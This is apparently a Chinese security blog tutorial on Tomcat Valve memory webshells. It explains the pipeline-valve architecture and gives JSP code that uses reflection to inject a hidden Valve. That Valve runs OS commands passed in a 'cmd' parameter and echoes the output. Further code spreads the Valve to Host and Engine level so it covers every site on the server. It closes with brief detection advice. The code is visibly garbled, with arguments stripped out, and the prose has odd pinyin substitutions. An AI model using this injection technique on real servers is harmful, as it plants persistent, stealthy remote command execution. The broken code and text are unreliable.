在Web安全攻防的博弈中，内存马作为一种极具隐蔽性的后门手段，始终是红队与蓝队关注的焦点。Ru果说Filter型内存马是“常规军”，那么Valve型内存马简直就是“特种部队”。它不依赖Servlet规范，而是深深扎根于Tomcat的核心架构之中。今天我们就来扒一扒Valve内存马的底裤，kankan它到底是如何在服务器的内存深处悄无声息地掌控全局的。

一、 什么是Valve？Tomcat的“心脏瓣膜”

要理解Valve内存马， 得搞清楚Valve本身是个什么东西。在Tomcat的架构设计里有一个非常核心的概念叫作“管道-阀门”机制。你Ke以把Tomcat处理请求的过程想象成自来水管的水流，而Valve就是水管上的一个个阀门。

这些阀门有着非常明确的职责分工：它们Ke以截获流经的每一个请求，进行审查、修改，甚至直接阻断。Zui妙的是Valve并不属于标准的Java Servlet规范，它是Tomcat自家特有的“私货”。这意味着，Ru果你对Tomcat的源码不够熟悉，hen难发现它的存在。

这里有一个非常关键的层级关系，大家一定要记牢：

Engine整个Catalina Servlet容器的顶层代表。

Host例如localhost，处理特定域名的请求。

Context也就是我们常说的一个Web应用。

Wrapper包装了单个Servlet。

每一个层级——Engine、Host、Context、Wrapper，它们dou有自己的“管道”。这就好比一栋大楼，每一层楼dou有自己的安检门。Ru果你把Valve加在Engine这一层，那么整栋楼进出的人dou要被你查身份证；Ru果你加在Context这一层，那就只管某一个房间的事。

相比之下我们熟悉的Filter、Listener或者Servlet，它们通常dou只是Context级别的小角色，只Neng在单个应用内部蹦跶。而Valve，天生就拥有geng高的视野和权限。

二、 静态注册：管理员的常规操作

在聊“黑魔法”之前，我们先kankan“白魔法”。作为一个正规军，Tomcat管理员是如何使用Valve的？这有助于我们理解其运行机制。

通常，我们需要写一个Java类来实现org.apache.catalina.Valve接口。这个接口里有几个必须实现的方法，其中Zui核心的就是invoke。

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
public class MyStaticValve implements Valve {
    private Valve next;
    @Override
    public void invoke throws ServletException, IOException {
        // 在这里我们Ke以Zuo任何想Zuo的事：记录日志、权限校验、甚至修改响应内容
        System.out.println);
        // 关键点：放行请求，让链条继续向下传递
        // Ru果不写这一行，后面的阀门和Servletdou别想执行了请求会直接卡死在这里
        getNext.invoke;
    }
    @Override
    public boolean isAsyncSupported {
        return false; // 简单起见，暂不支持异步
    }
    @Override
    public void setNext {
        this.next = valve;
    }
    @Override
    public Valve getNext {
        return this.next;
    }
    @Override
    public void backgroundProcess {
        // 后台任务，留空即可
    }
}

写好代码后怎么让它生效呢？这就需要编译、打包，然后修改Tomcat的配置文件server.xml。

编译的时候要注意，因为你的代码引用了Tomcat内部的类，所以必须把catalina.jar和servlet-api.jar加到classpath里。在Windows下用分号分隔，Linux下用冒号，这可是老生常谈的坑了。

编译打包成JAR后扔到lib目录，接着在server.xml里找到对应的或标签，塞进去这么一句配置：

重启Tomcat，你会发现控制台开始疯狂输出你访问的URI了。这就是静态注入的威力，简单、粗暴、有效。但作为攻击者，我们显然没有权限去服务器上重启服务，这时候，动态注入就闪亮登场了。

三、 动态注入：Valve内存马的诞生

内存马的核心逻辑在于：在不重启服务器、不修改配置文件的情况下通过代码直接修改内存中的对象结构，把我们的恶意Valve插进去。

为什么说Valve内存马比Filter内存马geng简单、geng隐蔽？因为Filter的注入需要去操作FilterDefsFilterMaps等一系列复杂的内部结构，稍微不注意就会把内存结构搞崩。而Valve呢？Tomcat的设计非常良心，只要你Neng拿到容器的Pipeline对象，直接调用addValve方法就行了！这简直是官方给开后门啊。

下面这段经典的JSP代码，展示了如何通过反射获取StandardContext，并注入一个具备命令执行功Neng的Valve。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%
// 防止重复注入，毕竟内存马只要一只就够了
if  == null) {
    // 第一步：通过JSP内置对象获取ServletContext
    ServletContext servletContext = request.getSession.getServletContext;
    // 第二步：利用反射层层剥洋葱，拿到核心的StandardContext
    // 这里的反射是必须的，因为API并没有直接暴露StandardContext
    Field appContextField = servletContext.getClass.getDeclaredField;
    appContextField.setAccessible;
    ApplicationContext applicationContext =  appContextField.get;
    Field standardContextField = applicationContext.getClass.getDeclaredField;
    standardContextField.setAccessible;
    StandardContext standardContext =  standardContextField.get;
    // 第三步：构造一个匿名的恶意Valve
    Valve maliciousValve = new Valve {
        private Valve next;
        @Override
        public void invoke throws IOException, ServletException {
            // 检测是否携带了cmd参数
            String cmd = request.getParameter;
            if ) {
                try {
                    // 执行系统命令，这是内存马Zui核心的功Neng
                    Process process = Runtime.getRuntime.exec;
                    java.io.BufferedReader reader = new java.io.BufferedReader(
                        new java.io.InputStreamReader)
                    );
                    String line;
                    StringBuilder output = new StringBuilder;
                    while ) != null) {
                        output.append.append;
                    }
                    // 将结果直接回显到浏览器，不需要额外的Webshell文件
                    response.setContentType;
                    response.getWriter.write);
                    response.flushBuffer;
                    return; // 执行完命令就结束，不继续往下走了
                } catch  {
                    e.printStackTrace;
                }
            }
            // Ru果没有cmd参数，就当个透明人，放行请求
            getNext.invoke;
        }
        @Override public boolean isAsyncSupported { return false; }
        @Override public void setNext { this.next = valve; }
        @Override public Valve getNext { return this.next; }
        @Override public void backgroundProcess { }
    };
    // 第四步：Zui关键的一步，将Valve加入Pipeline
    standardContext.getPipeline.addValve;
    // 标记注入成功
    application.setAttribute;
    // 打印一下当前的Valve列表，确认我们的代码在里面
    Valve valves = standardContext.getPipeline.getValves;
    out.println injected. Total valves: " + valves.length + "
");
    out.println;
    for  {
        out.println.getName + "
");
    }
} else {
    out.println;
}
%>

当你访问这个JSP页面kan到屏幕上列出了所有的Valve，并且其中夹杂着你刚刚注入的匿名类时恭喜你，你Yi经成功在服务器内存里安家落户了。此时即使你把服务器上所有的Webshell文件删得干干净净，只要Tomcat不重启，只要访问URL带上?cmd=whoami，服务器依然会乖乖听话。

四、 为什么说Valve是“王者”？

在内存马的江湖里Filter、Servlet、Listener、Valve各有千秋。但Ru果要评选一个“Zui隐蔽”、“Zui霸道”的奖项，我一定投Valve一票。原因有三：

1. 作用域geng广，甚至Ke以无视URL映射。 Filter通常需要配置URL Pattern才Neng生效。而Valve是插在容器管道上的，无论你访问的是静态资源、JSP还是Servlet，甚至是404页面只要请求流经这个容器，ValvedouNeng捕获。它根本不在乎你访问的是什么路径。

2. 触发时机geng早。 请求的处理流程大致是：Engine -> Host -> Context -> Wrapper -> Servlet。Valve位于Context级别甚至geng高，这意味着它比Filtergeng早接触到请求。这个优势是致命的。

3. 实现极其简洁。 正如前面代码所示，不需要去维护复杂的FilterConfig，也不需要去搞FilterMapping的顺序。拿到Pipeline，addValve，完事。这种简单粗暴的注入方式，大大降低了出错的风险。

五、 视野：从Context到Engine的跨越

上面的代码演示的是将Valve注入到StandardContext中，这只会影响当前的Web应用。但Ru果你有geng大的野心，想要影响整个Tomcat实例下所有的站点，该怎么办？

hen简单，利用Tomcat的父子容器关系，一路向上“爬”就行了。

// 获取当前的Host容器
Container host = standardContext.getParent;
if  {
     host).getPipeline.addValve;
}
// 继续向上获取Engine容器
Container engine = host.getParent;
if  {
     engine).getPipeline.addValve;
}

一旦你的Valve被加到了Engine级别，这台服务器上跑的每一个网站，无论是电商系统还是博客论坛，dou在你的掌控之中。这种“上帝视角”的感觉，大概就是攻防演练中Zui大的魅力所在吧。

六、 关于异步处理的一点杂谈

在Valve接口中，有一个isAsyncSupported方法。源码里提到，Ru果要在invoke中启动新线程处理业务，就需要返回true，并且不调用getNext，以此来释放Tomcat的工作线程。

不过对于内存马这种“短平快”的工具来说异步处理其实有点画蛇添足。我们通常只是执行个命令，拿个结果就走，不需要复杂的并发逻辑。所以保持return false，老老实实走同步链路，反而geng稳定，不容易留下奇怪的日志痕迹。

七、 与思考

Valve内存马是Tomcat架构特性的产物，它利用了容器底层的Pipeline机制，实现了比Filtergeng底层的控制。从技术原理上kan，它并不复杂，甚至Ke以说有些“简单”。但正是这种简单，结合了Tomcat的广泛使用，构成了巨大的安全威胁。

对于防御者来说传统的文件扫描对此毫无办法。你必须依赖内存马检测工具，扫描JVM堆中的对象，寻找那些被动态添加的、来源不明的Valve实例。或者，geng彻底一点，通过Agent技术实时监控addValve方法的调用。

技术本身没有善恶，但掌握技术的人有。理解Valve内存马，不仅是为了在攻防演练中拿分，geng是为了深入理解Tomcat这一经典容器的内部运作机理。毕竟只有知己知彼，才Neng在安全的道路上走得geng远。

---